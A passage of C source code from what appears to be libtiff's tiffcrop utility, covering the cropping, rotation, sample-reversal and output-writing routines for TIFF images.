default: break; } } break; default: break; } } if (crop->crop_mode & CROP_MIRROR) { if (mirrorImage(image->spp, image->bps, crop->mirror, width, length, crop_buff)) { TIFFError("processCropSelections", "Failed to mirror crop region %s", (crop->rotation == MIRROR_HORIZ) ? "horizontally" : "vertically"); return (-1); } } if (crop->crop_mode & CROP_ROTATE) /* rotate should be last as it can reallocate the buffer */ { if (rotateImage(crop->rotation, image, &crop->regionlist[i].width, &crop->regionlist[i].length, &crop_buff)) { TIFFError("processCropSelections", "Failed to rotate crop region by %d degrees", crop->rotation); return (-1); } total_width += crop->regionlist[i].width; total_length += crop->regionlist[i].length; crop->combined_width = total_width; crop->combined_length = total_length; seg_buffs[i].buffer = crop_buff; seg_buffs[i].size = (((crop->regionlist[i].width * image->bps + 7 ) / 8) * image->spp) * crop->regionlist[i].length; } } } return (0); } /* end processCropSelections */ /* Copy the crop section of the data from the current image into a buffer * and adjust the IFD values to reflect the new size. If no cropping is * required, use the origial read buffer as the crop buffer. * * There is quite a bit of redundancy between this routine and the more * specialized processCropSelections, but this provides * the most optimized path when no Zones or Regions are required. */ static int createCroppedImage(struct image_data *image, struct crop_mask *crop, unsigned char **read_buff_ptr, unsigned char **crop_buff_ptr) { tsize_t cropsize; unsigned char *read_buff = NULL; unsigned char *crop_buff = NULL; unsigned char *new_buff = NULL; static tsize_t prev_cropsize = 0; read_buff = *read_buff_ptr; /* process full image, no crop buffer needed */ crop_buff = read_buff; *crop_buff_ptr = read_buff; crop->combined_width = image->width; crop->combined_length = image->length; cropsize = crop->bufftotal; crop_buff = *crop_buff_ptr; if (!crop_buff) { crop_buff = (unsigned char *)_TIFFmalloc(cropsize); *crop_buff_ptr = crop_buff; _TIFFmemset(crop_buff, 0, cropsize); prev_cropsize = cropsize; } else { if (prev_cropsize < cropsize) { new_buff = _TIFFrealloc(crop_buff, cropsize); if (!new_buff) { free (crop_buff); crop_buff = (unsigned char *)_TIFFmalloc(cropsize); } else crop_buff = new_buff; _TIFFmemset(crop_buff, 0, cropsize); } } if (!crop_buff) { TIFFError("createCroppedImage", "Unable to allocate/reallocate crop buffer"); return (-1); } *crop_buff_ptr = crop_buff; if (crop->crop_mode & CROP_INVERT) { switch (crop->photometric) { /* Just change the interpretation */ case PHOTOMETRIC_MINISWHITE: case PHOTOMETRIC_MINISBLACK: image->photometric = crop->photometric; break; case INVERT_DATA_ONLY: case INVERT_DATA_AND_TAG: if (invertImage(image->photometric, image->spp, image->bps, crop->combined_width, crop->combined_length, crop_buff)) { TIFFError("createCroppedImage", "Failed to invert colorspace for image or cropped selection"); return (-1); } if (crop->photometric == INVERT_DATA_AND_TAG) { switch (image->photometric) { case PHOTOMETRIC_MINISWHITE: image->photometric = PHOTOMETRIC_MINISBLACK; break; case PHOTOMETRIC_MINISBLACK: image->photometric = PHOTOMETRIC_MINISWHITE; break; default: break; } } break; default: break; } } if (crop->crop_mode & CROP_MIRROR) { if (mirrorImage(image->spp, image->bps, crop->mirror, crop->combined_width, crop->combined_length, crop_buff)) { TIFFError("createCroppedImage", "Failed to mirror image or cropped selection %s", (crop->rotation == MIRROR_HORIZ) ? "horizontally" : "vertically"); return (-1); } } if (crop->crop_mode & CROP_ROTATE) /* rotate should be last as it can reallocate the buffer */ { if (rotateImage(crop->rotation, image, &crop->combined_width, &crop->combined_length, crop_buff_ptr)) { TIFFError("createCroppedImage", "Failed to rotate image or cropped selection by %d degrees", crop->rotation); return (-1); } } if (crop_buff == read_buff) /* we used the read buffer for the crop buffer */ *read_buff_ptr = NULL; /* so we don't try to free it later */ return (0); } /* end createCroppedImage */ /* Code in this function is heavily indebted to code in tiffcp * with modifications by Richard Nolde to handle orientation correctly. * It will have to be updated significantly if support is added to * extract one or more samples from original image since the * original code assumes we are always copying all samples. * Use of global variables for config, compression and others * should be replaced by addition to the crop_mask struct (which * will be renamed to proc_opts indicating that is controlls * user supplied processing options, not just cropping) and * then passed in as an argument. */ static int writeCroppedImage(TIFF *in, TIFF *out, struct image_data *image, struct dump_opts *dump, uint32 width, uint32 length, unsigned char *crop_buff, int pagenum, int total_pages) { uint16 bps, spp; uint16 input_compression, input_photometric; uint16 input_planar; struct cpTag* p; input_compression = image->compression; input_photometric = image->photometric; spp = image->spp; bps = image->bps; TIFFSetField(out, TIFFTAG_IMAGEWIDTH, width); TIFFSetField(out, TIFFTAG_IMAGELENGTH, length); TIFFSetField(out, TIFFTAG_BITSPERSAMPLE, bps); TIFFSetField(out, TIFFTAG_SAMPLESPERPIXEL, spp); #ifdef DEBUG2 TIFFError("writeCroppedImage", "Input compression: %s", (input_compression == COMPRESSION_OJPEG) ? "Old Jpeg" : ((input_compression == COMPRESSION_JPEG) ? "New Jpeg" : "Non Jpeg")); #endif if (compression != (uint16)-1) TIFFSetField(out, TIFFTAG_COMPRESSION, compression); else { if (input_compression == COMPRESSION_OJPEG) { compression = COMPRESSION_JPEG; jpegcolormode = JPEGCOLORMODE_RAW; TIFFSetField(out, TIFFTAG_COMPRESSION, COMPRESSION_JPEG); } else CopyField(TIFFTAG_COMPRESSION, compression); } if (compression == COMPRESSION_JPEG) { if ((input_photometric == PHOTOMETRIC_PALETTE) || /* color map indexed */ (input_photometric == PHOTOMETRIC_MASK)) /* $holdout mask */ { TIFFError ("writeCroppedImage", "JPEG compression cannot be used with %s image data", (input_photometric == PHOTOMETRIC_PALETTE) ? "palette" : "mask"); return (-1); } if ((input_photometric == PHOTOMETRIC_RGB) && (jpegcolormode == JPEGCOLORMODE_RGB)) TIFFSetField(out, TIFFTAG_PHOTOMETRIC, PHOTOMETRIC_YCBCR); else TIFFSetField(out, TIFFTAG_PHOTOMETRIC, input_photometric); } else { if (compression == COMPRESSION_SGILOG || compression == COMPRESSION_SGILOG24) { TIFFSetField(out, TIFFTAG_PHOTOMETRIC, spp == 1 ? PHOTOMETRIC_LOGL : PHOTOMETRIC_LOGLUV); } else { if (input_compression == COMPRESSION_SGILOG || input_compression == COMPRESSION_SGILOG24) { TIFFSetField(out, TIFFTAG_PHOTOMETRIC, spp == 1 ? PHOTOMETRIC_LOGL : PHOTOMETRIC_LOGLUV); } else TIFFSetField(out, TIFFTAG_PHOTOMETRIC, image->photometric); } } if (((input_photometric == PHOTOMETRIC_LOGL) || (input_photometric == PHOTOMETRIC_LOGLUV)) && ((compression != COMPRESSION_SGILOG) && (compression != COMPRESSION_SGILOG24))) { TIFFError("writeCroppedImage", "LogL and LogLuv source data require SGI_LOG or SGI_LOG24 compression"); return (-1); } if (fillorder != 0) TIFFSetField(out, TIFFTAG_FILLORDER, fillorder); else CopyTag(TIFFTAG_FILLORDER, 1, TIFF_SHORT); /* The loadimage function reads input orientation and sets * image->orientation. The correct_image_orientation function * applies the required rotation and mirror operations to * present the data in TOPLEFT orientation and updates * image->orientation if any transforms are performed, * as per EXIF standard. */ TIFFSetField(out, TIFFTAG_ORIENTATION, image->orientation); /* * Choose tiles/strip for the output image according to * the command line arguments (-tiles, -strips) and the * structure of the input image. */ if (outtiled == -1) outtiled = TIFFIsTiled(in); if (outtiled) { /* * Setup output file's tile width&height. If either * is not specified, use either the value from the * input image or, if nothing is defined, use the * library default. */ if (tilewidth == (uint32) 0) TIFFGetField(in, TIFFTAG_TILEWIDTH, &tilewidth); if (tilelength == (uint32) 0) TIFFGetField(in, TIFFTAG_TILELENGTH, &tilelength); if (tilewidth == 0 || tilelength == 0) TIFFDefaultTileSize(out, &tilewidth, &tilelength); TIFFSetField(out, TIFFTAG_TILEWIDTH, tilewidth); TIFFSetField(out, TIFFTAG_TILELENGTH, tilelength); } else { /* * RowsPerStrip is left unspecified: use either the * value from the input image or, if nothing is defined, * use the library default. */ if (rowsperstrip == (uint32) 0) { if (!TIFFGetField(in, TIFFTAG_ROWSPERSTRIP, &rowsperstrip)) rowsperstrip = TIFFDefaultStripSize(out, rowsperstrip); if (compression != COMPRESSION_JPEG) { if (rowsperstrip > length) rowsperstrip = length; } } else if (rowsperstrip == (uint32) -1) rowsperstrip = length; TIFFSetField(out, TIFFTAG_ROWSPERSTRIP, rowsperstrip); } TIFFGetFieldDefaulted(in, TIFFTAG_PLANARCONFIG, &input_planar); if (config != (uint16) -1) TIFFSetField(out, TIFFTAG_PLANARCONFIG, config); else CopyField(TIFFTAG_PLANARCONFIG, config); if (spp <= 4) CopyTag(TIFFTAG_TRANSFERFUNCTION, 4, TIFF_SHORT); CopyTag(TIFFTAG_COLORMAP, 4, TIFF_SHORT); /* SMinSampleValue & SMaxSampleValue */ switch (compression) { case COMPRESSION_JPEG: if (((bps % 8) == 0) || ((bps % 12) == 0)) { TIFFSetField(out, TIFFTAG_JPEGQUALITY, quality); TIFFSetField(out, TIFFTAG_JPEGCOLORMODE, JPEGCOLORMODE_RGB); } else { TIFFError("writeCroppedImage", "JPEG compression requires 8 or 12 bits per sample"); return (-1); } break; case COMPRESSION_LZW: case COMPRESSION_ADOBE_DEFLATE: case COMPRESSION_DEFLATE: if (predictor != (uint16)-1) TIFFSetField(out, TIFFTAG_PREDICTOR, predictor); else CopyField(TIFFTAG_PREDICTOR, predictor); break; case COMPRESSION_CCITTFAX3: case COMPRESSION_CCITTFAX4: if (bps != 1) { TIFFError("writeCroppedImage", "Group 3/4 compression is not usable with bps > 1"); return (-1); } if (compression == COMPRESSION_CCITTFAX3) { if (g3opts != (uint32) -1) TIFFSetField(out, TIFFTAG_GROUP3OPTIONS, g3opts); else CopyField(TIFFTAG_GROUP3OPTIONS, g3opts); } else { CopyTag(TIFFTAG_GROUP4OPTIONS, 1, TIFF_LONG); } CopyTag(TIFFTAG_BADFAXLINES, 1, TIFF_LONG); CopyTag(TIFFTAG_CLEANFAXDATA, 1, TIFF_LONG); CopyTag(TIFFTAG_CONSECUTIVEBADFAXLINES, 1, TIFF_LONG); CopyTag(TIFFTAG_FAXRECVPARAMS, 1, TIFF_LONG); CopyTag(TIFFTAG_FAXRECVTIME, 1, TIFF_LONG); CopyTag(TIFFTAG_FAXSUBADDRESS, 1, TIFF_ASCII); break; case COMPRESSION_NONE: break; default: break; } { uint32 len32; void** data; if (TIFFGetField(in, TIFFTAG_ICCPROFILE, &len32, &data)) TIFFSetField(out, TIFFTAG_ICCPROFILE, len32, data); } { uint16 ninks; const char* inknames; if (TIFFGetField(in, TIFFTAG_NUMBEROFINKS, &ninks)) { TIFFSetField(out, TIFFTAG_NUMBEROFINKS, ninks); if (TIFFGetField(in, TIFFTAG_INKNAMES, &inknames)) { int inknameslen = strlen(inknames) + 1; const char* cp = inknames; while (ninks > 1) { cp = strchr(cp, '\0'); if (cp) { cp++; inknameslen += (strlen(cp) + 1); } ninks--; } TIFFSetField(out, TIFFTAG_INKNAMES, inknameslen, inknames); } } } { unsigned short pg0, pg1; if (TIFFGetField(in, TIFFTAG_PAGENUMBER, &pg0, &pg1)) { TIFFSetField(out, TIFFTAG_PAGENUMBER, pagenum, total_pages); } } for (p = tags; p < &tags[NTAGS]; p++) CopyTag(p->tag, p->count, p->type); /* Compute the tile or strip dimensions and write to disk */ if (outtiled) { if (config == PLANARCONFIG_CONTIG) { if (writeBufferToContigTiles (out, crop_buff, length, width, spp, dump)) TIFFError("","Unable to write contiguous tile data for page %d", pagenum); } else { if (writeBufferToSeparateTiles (out, crop_buff, length, width, spp, dump)) TIFFError("","Unable to write separate tile data for page %d", pagenum); } } else { if (config == PLANARCONFIG_CONTIG) { if (writeBufferToContigStrips (out, crop_buff, length)) TIFFError("","Unable to write contiguous strip data for page %d", pagenum); } else { if (writeBufferToSeparateStrips(out, crop_buff, length, width, spp, dump)) TIFFError("","Unable to write separate strip data for page %d", pagenum); } } if (!TIFFWriteDirectory(out)) { TIFFError("","Failed to write IFD for page number %d", pagenum); TIFFClose(out); return (-1); } return (0); } /* end writeCroppedImage */ static int rotateContigSamples8bits(uint16 rotation, uint16 spp, uint16 bps, uint32 width, uint32 length, uint32 col, uint8 *src, uint8 *dst) { int ready_bits = 0; uint32 src_byte = 0, src_bit = 0; uint32 row, rowsize = 0, bit_offset = 0; uint8 matchbits = 0, maskbits = 0; uint8 buff1 = 0, buff2 = 0; uint8 *next; tsample_t sample; if ((src == NULL) || (dst == NULL)) { TIFFError("rotateContigSamples8bits","Invalid src or destination buffer"); return (1); } rowsize = ((bps * spp * width) + 7) / 8; ready_bits = 0; maskbits = (uint8)-1 >> ( 8 - bps); buff1 = buff2 = 0; for (row = 0; row < length ; row++) { bit_offset = col * bps * spp; for (sample = 0; sample < spp; sample++) { if (sample == 0) { src_byte = bit_offset / 8; src_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sample * bps)) / 8; src_bit = (bit_offset + (sample * bps)) % 8; } switch (rotation) { case 90: next = src + src_byte - (row * rowsize); break; case 270: next = src + src_byte + (row * rowsize); break; default: TIFFError("rotateContigSamples8bits", "Invalid rotation %d", rotation); return (1); } matchbits = maskbits << (8 - src_bit - bps); buff1 = ((*next) & matchbits) << (src_bit); /* If we have a full buffer's worth, write it out */ if (ready_bits >= 8) { *dst++ = buff2; buff2 = buff1; ready_bits -= 8; } else { buff2 = (buff2 | (buff1 >> ready_bits)); } ready_bits += bps; } } if (ready_bits > 0) { buff1 = (buff2 & ((unsigned int)255 << (8 - ready_bits))); *dst++ = buff1; } return (0); } /* end rotateContigSamples8bits */ static int rotateContigSamples16bits(uint16 rotation, uint16 spp, uint16 bps, uint32 width, uint32 length, uint32 col, uint8 *src, uint8 *dst) { int ready_bits = 0; uint32 row, rowsize, bit_offset; uint32 src_byte = 0, src_bit = 0; uint16 matchbits = 0, maskbits = 0; uint16 buff1 = 0, buff2 = 0; uint8 bytebuff = 0; uint8 *next; tsample_t sample; if ((src == NULL) || (dst == NULL)) { TIFFError("rotateContigSamples16bits","Invalid src or destination buffer"); return (1); } rowsize = ((bps * spp * width) + 7) / 8; ready_bits = 0; maskbits = (uint16)-1 >> (16 - bps); buff1 = buff2 = 0; for (row = 0; row < length; row++) { bit_offset = col * bps * spp; for (sample = 0; sample < spp; sample++) { if (sample == 0) { src_byte = bit_offset / 8; src_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sample * bps)) / 8; src_bit = (bit_offset + (sample * bps)) % 8; } switch (rotation) { case 90: next = src + src_byte - (row * rowsize); break; case 270: next = src + src_byte + (row * rowsize); break; default: TIFFError("rotateContigSamples8bits", "Invalid rotation %d", rotation); return (1); } matchbits = maskbits << (16 - src_bit - bps); if (little_endian) buff1 = (next[0] << 8) | next[1]; else buff1 = (next[1] << 8) | next[0]; buff1 = (buff1 & matchbits) << (src_bit); /* If we have a full buffer's worth, write it out */ if (ready_bits >= 8) { bytebuff = (buff2 >> 8); *dst++ = bytebuff; ready_bits -= 8; /* shift in new bits */ buff2 = ((buff2 << 8) | (buff1 >> ready_bits)); } else { /* add another bps bits to the buffer */ bytebuff = 0; buff2 = (buff2 | (buff1 >> ready_bits)); } ready_bits += bps; } } if (ready_bits > 0) { bytebuff = (buff2 >> 8); *dst++ = bytebuff; } return (0); } /* end rotateContigSamples16bits */ static int rotateContigSamples24bits(uint16 rotation, uint16 spp, uint16 bps, uint32 width, uint32 length, uint32 col, uint8 *src, uint8 *dst) { int ready_bits = 0; uint32 row, rowsize, bit_offset; uint32 src_byte = 0, src_bit = 0; uint32 matchbits = 0, maskbits = 0; uint32 buff1 = 0, buff2 = 0; uint8 bytebuff1 = 0, bytebuff2 = 0; uint8 *next; tsample_t sample; if ((src == NULL) || (dst == NULL)) { TIFFError("rotateContigSamples24bits","Invalid src or destination buffer"); return (1); } rowsize = ((bps * spp * width) + 7) / 8; ready_bits = 0; maskbits = (uint32)-1 >> (32 - bps); buff1 = buff2 = 0; for (row = 0; row < length; row++) { bit_offset = col * bps * spp; for (sample = 0; sample < spp; sample++) { if (sample == 0) { src_byte = bit_offset / 8; src_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sample * bps)) / 8; src_bit = (bit_offset + (sample * bps)) % 8; } switch (rotation) { case 90: next = src + src_byte - (row * rowsize); break; case 270: next = src + src_byte + (row * rowsize); break; default: TIFFError("rotateContigSamples8bits", "Invalid rotation %d", rotation); return (1); } matchbits = maskbits << (32 - src_bit - bps); if (little_endian) buff1 = (next[0] << 24) | (next[1] << 16) | (next[2] << 8) | next[3]; else buff1 = (next[3] << 24) | (next[2] << 16) | (next[1] << 8) | next[0]; buff1 = (buff1 & matchbits) << (src_bit); /* If we have a full buffer's worth, write it out */ if (ready_bits >= 16) { bytebuff1 = (buff2 >> 24); *dst++ = bytebuff1; bytebuff2 = (buff2 >> 16); *dst++ = bytebuff2; ready_bits -= 16; /* shift in new bits */ buff2 = ((buff2 << 16) | (buff1 >> ready_bits)); } else { /* add another bps bits to the buffer */ bytebuff1 = bytebuff2 = 0; buff2 = (buff2 | (buff1 >> ready_bits)); } ready_bits += bps; } } /* catch any trailing bits at the end of the line */ while (ready_bits > 0) { bytebuff1 = (buff2 >> 24); *dst++ = bytebuff1; buff2 = (buff2 << 8); bytebuff2 = bytebuff1; ready_bits -= 8; } return (0); } /* end rotateContigSamples24bits */ static int rotateContigSamples32bits(uint16 rotation, uint16 spp, uint16 bps, uint32 width, uint32 length, uint32 col, uint8 *src, uint8 *dst) { int ready_bits = 0 /*, shift_width = 0 */; /* int bytes_per_sample, bytes_per_pixel; */ uint32 row, rowsize, bit_offset; uint32 src_byte, src_bit; uint32 longbuff1 = 0, longbuff2 = 0; uint64 maskbits = 0, matchbits = 0; uint64 buff1 = 0, buff2 = 0, buff3 = 0; uint8 bytebuff1 = 0, bytebuff2 = 0, bytebuff3 = 0, bytebuff4 = 0; uint8 *next; tsample_t sample; if ((src == NULL) || (dst == NULL)) { TIFFError("rotateContigSamples24bits","Invalid src or destination buffer"); return (1); } /* bytes_per_sample = (bps + 7) / 8; */ /* bytes_per_pixel = ((bps * spp) + 7) / 8; */ /* if (bytes_per_pixel < (bytes_per_sample + 1)) */ /* shift_width = bytes_per_pixel; */ /* else */ /* shift_width = bytes_per_sample + 1; */ rowsize = ((bps * spp * width) + 7) / 8; ready_bits = 0; maskbits = (uint64)-1 >> (64 - bps); buff1 = buff2 = 0; for (row = 0; row < length; row++) { bit_offset = col * bps * spp; for (sample = 0; sample < spp; sample++) { if (sample == 0) { src_byte = bit_offset / 8; src_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sample * bps)) / 8; src_bit = (bit_offset + (sample * bps)) % 8; } switch (rotation) { case 90: next = src + src_byte - (row * rowsize); break; case 270: next = src + src_byte + (row * rowsize); break; default: TIFFError("rotateContigSamples8bits", "Invalid rotation %d", rotation); return (1); } matchbits = maskbits << (64 - src_bit - bps); if (little_endian) { longbuff1 = (next[0] << 24) | (next[1] << 16) | (next[2] << 8) | next[3]; longbuff2 = longbuff1; } else { longbuff1 = (next[3] << 24) | (next[2] << 16) | (next[1] << 8) | next[0]; longbuff2 = longbuff1; } buff3 = ((uint64)longbuff1 << 32) | longbuff2; buff1 = (buff3 & matchbits) << (src_bit); if (ready_bits < 32) { /* add another bps bits to the buffer */ bytebuff1 = bytebuff2 = bytebuff3 = bytebuff4 = 0; buff2 = (buff2 | (buff1 >> ready_bits)); } else /* If we have a full buffer's worth, write it out */ { bytebuff1 = (buff2 >> 56); *dst++ = bytebuff1; bytebuff2 = (buff2 >> 48); *dst++ = bytebuff2; bytebuff3 = (buff2 >> 40); *dst++ = bytebuff3; bytebuff4 = (buff2 >> 32); *dst++ = bytebuff4; ready_bits -= 32; /* shift in new bits */ buff2 = ((buff2 << 32) | (buff1 >> ready_bits)); } ready_bits += bps; } } while (ready_bits > 0) { bytebuff1 = (buff2 >> 56); *dst++ = bytebuff1; buff2 = (buff2 << 8); ready_bits -= 8; } return (0); } /* end rotateContigSamples32bits */ /* Rotate an image by a multiple of 90 degrees clockwise */ static int rotateImage(uint16 rotation, struct image_data *image, uint32 *img_width, uint32 *img_length, unsigned char **ibuff_ptr) { int shift_width; uint32 bytes_per_pixel, bytes_per_sample; uint32 row, rowsize, src_offset, dst_offset; uint32 i, col, width, length; uint32 colsize, buffsize, col_offset, pix_offset; unsigned char *ibuff; unsigned char *src; unsigned char *dst; uint16 spp, bps; float res_temp; unsigned char *rbuff = NULL; width = *img_width; length = *img_length; spp = image->spp; bps = image->bps; rowsize = ((bps * spp * width) + 7) / 8; colsize = ((bps * spp * length) + 7) / 8; if ((colsize * width) > (rowsize * length)) buffsize = (colsize + 1) * width; else buffsize = (rowsize + 1) * length; bytes_per_sample = (bps + 7) / 8; bytes_per_pixel = ((bps * spp) + 7) / 8; if (bytes_per_pixel < (bytes_per_sample + 1)) shift_width = bytes_per_pixel; else shift_width = bytes_per_sample + 1; switch (rotation) { case 0: case 360: return (0); case 90: case 180: case 270: break; default: TIFFError("rotateImage", "Invalid rotation angle %d", rotation); return (-1); } if (!(rbuff = (unsigned char *)_TIFFmalloc(buffsize))) { TIFFError("rotateImage", "Unable to allocate rotation buffer of %1u bytes", buffsize); return (-1); } _TIFFmemset(rbuff, '\0', buffsize); ibuff = *ibuff_ptr; switch (rotation) { case 180: if ((bps % 8) == 0) /* byte alligned data */ { src = ibuff; pix_offset = (spp * bps) / 8; for (row = 0; row < length; row++) { dst_offset = (length - row - 1) * rowsize; for (col = 0; col < width; col++) { col_offset = (width - col - 1) * pix_offset; dst = rbuff + dst_offset + col_offset; for (i = 0; i < bytes_per_pixel; i++) *dst++ = *src++; } } } else { /* non 8 bit per sample data */ for (row = 0; row < length; row++) { src_offset = row * rowsize; dst_offset = (length - row - 1) * rowsize; src = ibuff + src_offset; dst = rbuff + dst_offset; switch (shift_width) { case 1: if (bps == 1) { if (reverseSamples8bits(spp, bps, width, src, dst)) { _TIFFfree(rbuff); return (-1); } break; } if (reverseSamples16bits(spp, bps, width, src, dst)) { _TIFFfree(rbuff); return (-1); } break; case 2: if (reverseSamples24bits(spp, bps, width, src, dst)) { _TIFFfree(rbuff); return (-1); } break; case 3: case 4: case 5: if (reverseSamples32bits(spp, bps, width, src, dst)) { _TIFFfree(rbuff); return (-1); } break; default: TIFFError("rotateImage","Unsupported bit depth %d", bps); _TIFFfree(rbuff); return (-1); } } } _TIFFfree(ibuff); *(ibuff_ptr) = rbuff; break; case 90: if ((bps % 8) == 0) /* byte aligned data */ { for (col = 0; col < width; col++) { src_offset = ((length - 1) * rowsize) + (col * bytes_per_pixel); dst_offset = col * colsize; src = ibuff + src_offset; dst = rbuff + dst_offset; for (row = length; row > 0; row--) { for (i = 0; i < bytes_per_pixel; i++) *dst++ = *(src + i); src -= rowsize; } } } else { /* non 8 bit per sample data */ for (col = 0; col < width; col++) { src_offset = (length - 1) * rowsize; dst_offset = col * colsize; src = ibuff + src_offset; dst = rbuff + dst_offset; switch (shift_width) { case 1: if (bps == 1) { if (rotateContigSamples8bits(rotation, spp, bps, width, length, col, src, dst)) { _TIFFfree(rbuff); return (-1); } break; } if (rotateContigSamples16bits(rotation, spp, bps, width, length, col, src, dst)) { _TIFFfree(rbuff); return (-1); } break; case 2: if (rotateContigSamples24bits(rotation, spp, bps, width, length, col, src, dst)) { _TIFFfree(rbuff); return (-1); } break; case 3: case 4: case 5: if (rotateContigSamples32bits(rotation, spp, bps, width, length, col, src, dst)) { _TIFFfree(rbuff); return (-1); } break; default: TIFFError("rotateImage","Unsupported bit depth %d", bps); _TIFFfree(rbuff); return (-1); } } } _TIFFfree(ibuff); *(ibuff_ptr) = rbuff; *img_width = length; *img_length = width; image->width = length; image->length = width; res_temp = image->xres; image->xres = image->yres; image->yres = res_temp; break; case 270: if ((bps % 8) == 0) /* byte aligned data */ { for (col = 0; col < width; col++) { src_offset = col * bytes_per_pixel; dst_offset = (width - col - 1) * colsize; src = ibuff + src_offset; dst = rbuff + dst_offset; for (row = length; row > 0; row--) { for (i = 0; i < bytes_per_pixel; i++) *dst++ = *(src + i); src += rowsize; } } } else { /* non 8 bit per sample data */ for (col = 0; col < width; col++) { src_offset = 0; dst_offset = (width - col - 1) * colsize; src = ibuff + src_offset; dst = rbuff + dst_offset; switch (shift_width) { case 1: if (bps == 1) { if (rotateContigSamples8bits(rotation, spp, bps, width, length, col, src, dst)) { _TIFFfree(rbuff); return (-1); } break; } if (rotateContigSamples16bits(rotation, spp, bps, width, length, col, src, dst)) { _TIFFfree(rbuff); return (-1); } break; case 2: if (rotateContigSamples24bits(rotation, spp, bps, width, length, col, src, dst)) { _TIFFfree(rbuff); return (-1); } break; case 3: case 4: case 5: if (rotateContigSamples32bits(rotation, spp, bps, width, length, col, src, dst)) { _TIFFfree(rbuff); return (-1); } break; default: TIFFError("rotateImage","Unsupported bit depth %d", bps); _TIFFfree(rbuff); return (-1); } } } _TIFFfree(ibuff); *(ibuff_ptr) = rbuff; *img_width = length; *img_length = width; image->width = length; image->length = width; res_temp = image->xres; image->xres = image->yres; image->yres = res_temp; break; default: break; } return (0); } /* end rotateImage */ static int reverseSamples8bits (uint16 spp, uint16 bps, uint32 width, uint8 *ibuff, uint8 *obuff) { int ready_bits = 0; uint32 col; uint32 src_byte, src_bit; uint32 bit_offset = 0; uint8 match_bits = 0, mask_bits = 0; uint8 buff1 = 0, buff2 = 0; unsigned char *src; unsigned char *dst; tsample_t sample; if ((ibuff == NULL) || (obuff == NULL)) { TIFFError("reverseSamples8bits","Invalid image or work buffer"); return (1); } ready_bits = 0; mask_bits = (uint8)-1 >> ( 8 - bps); dst = obuff; for (col = width; col > 0; col--) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = (col - 1) * bps * spp; for (sample = 0; sample < spp; sample++) { if (sample == 0) { src_byte = bit_offset / 8; src_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sample * bps)) / 8; src_bit = (bit_offset + (sample * bps)) % 8; } src = ibuff + src_byte; match_bits = mask_bits << (8 - src_bit - bps); buff1 = ((*src) & match_bits) << (src_bit); if (ready_bits < 8) buff2 = (buff2 | (buff1 >> ready_bits)); else /* If we have a full buffer's worth, write it out */ { *dst++ = buff2; buff2 = buff1; ready_bits -= 8; } ready_bits += bps; } } if (ready_bits > 0) { buff1 = (buff2 & ((unsigned int)255 << (8 - ready_bits))); *dst++ = buff1; } return (0); } /* end reverseSamples8bits */ static int reverseSamples16bits (uint16 spp, uint16 bps, uint32 width, uint8 *ibuff, uint8 *obuff) { int ready_bits = 0; uint32 col; uint32 src_byte = 0, high_bit = 0; uint32 bit_offset = 0; uint16 match_bits = 0, mask_bits = 0; uint16 buff1 = 0, buff2 = 0; uint8 bytebuff = 0; unsigned char *src; unsigned char *dst; tsample_t sample; if ((ibuff == NULL) || (obuff == NULL)) { TIFFError("reverseSample16bits","Invalid image or work buffer"); return (1); } ready_bits = 0; mask_bits = (uint16)-1 >> (16 - bps); dst = obuff; for (col = width; col > 0; col--) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = (col - 1) * bps * spp; for (sample = 0; sample < spp; sample++) { if (sample == 0) { src_byte = bit_offset / 8; high_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sample * bps)) / 8; high_bit = (bit_offset + (sample * bps)) % 8; } src = ibuff + src_byte; match_bits = mask_bits << (16 - high_bit - bps); if (little_endian) buff1 = (src[0] << 8) | src[1]; else buff1 = (src[1] << 8) | src[0]; buff1 = (buff1 & match_bits) << (high_bit); if (ready_bits < 8) { /* add another bps bits to the buffer */ bytebuff = 0; buff2 = (buff2 | (buff1 >> ready_bits)); } else /* If we have a full buffer's worth, write it out */ { bytebuff = (buff2 >> 8); *dst++ = bytebuff; ready_bits -= 8; /* shift in new bits */ buff2 = ((buff2 << 8) | (buff1 >> ready_bits)); } ready_bits += bps; } } if (ready_bits > 0) { bytebuff = (buff2 >> 8); *dst++ = bytebuff; } return (0); } /* end reverseSamples16bits */ static int reverseSamples24bits (uint16 spp, uint16 bps, uint32 width, uint8 *ibuff, uint8 *obuff) { int ready_bits = 0; uint32 col; uint32 src_byte = 0, high_bit = 0; uint32 bit_offset = 0; uint32 match_bits = 0, mask_bits = 0; uint32 buff1 = 0, buff2 = 0; uint8 bytebuff1 = 0, bytebuff2 = 0; unsigned char *src; unsigned char *dst; tsample_t sample; if ((ibuff == NULL) || (obuff == NULL)) { TIFFError("reverseSamples24bits","Invalid image or work buffer"); return (1); } ready_bits = 0; mask_bits = (uint32)-1 >> (32 - bps); dst = obuff; for (col = width; col > 0; col--) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = (col - 1) * bps * spp; for (sample = 0; sample < spp; sample++) { if (sample == 0) { src_byte = bit_offset / 8; high_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sample * bps)) / 8; high_bit = (bit_offset + (sample * bps)) % 8; } src = ibuff + src_byte; match_bits = mask_bits << (32 - high_bit - bps); if (little_endian) buff1 = (src[0] << 24) | (src[1] << 16) | (src[2] << 8) | src[3]; else buff1 = (src[3] << 24) | (src[2] << 16) | (src[1] << 8) | src[0]; buff1 = (buff1 & match_bits) << (high_bit); if (ready_bits < 16) { /* add another bps bits to the buffer */ bytebuff1 = bytebuff2 = 0; buff2 = (buff2 | (buff1 >> ready_bits)); } else /* If we have a full buffer's worth, write it out */ { bytebuff1 = (buff2 >> 24); *dst++ = bytebuff1; bytebuff2 = (buff2 >> 16); *dst++ = bytebuff2; ready_bits -= 16; /* shift in new bits */ buff2 = ((buff2 << 16) | (buff1 >> ready_bits)); } ready_bits += bps; } } /* catch any trailing bits at the end of the line */ while (ready_bits > 0) { bytebuff1 = (buff2 >> 24); *dst++ = bytebuff1; buff2 = (buff2 << 8); bytebuff2 = bytebuff1; ready_bits -= 8; } return (0); } /* end reverseSamples24bits */ static int reverseSamples32bits (uint16 spp, uint16 bps, uint32 width, uint8 *ibuff, uint8 *obuff) { int ready_bits = 0 /*, shift_width = 0 */; /* int bytes_per_sample, bytes_per_pixel; */ uint32 bit_offset; uint32 src_byte = 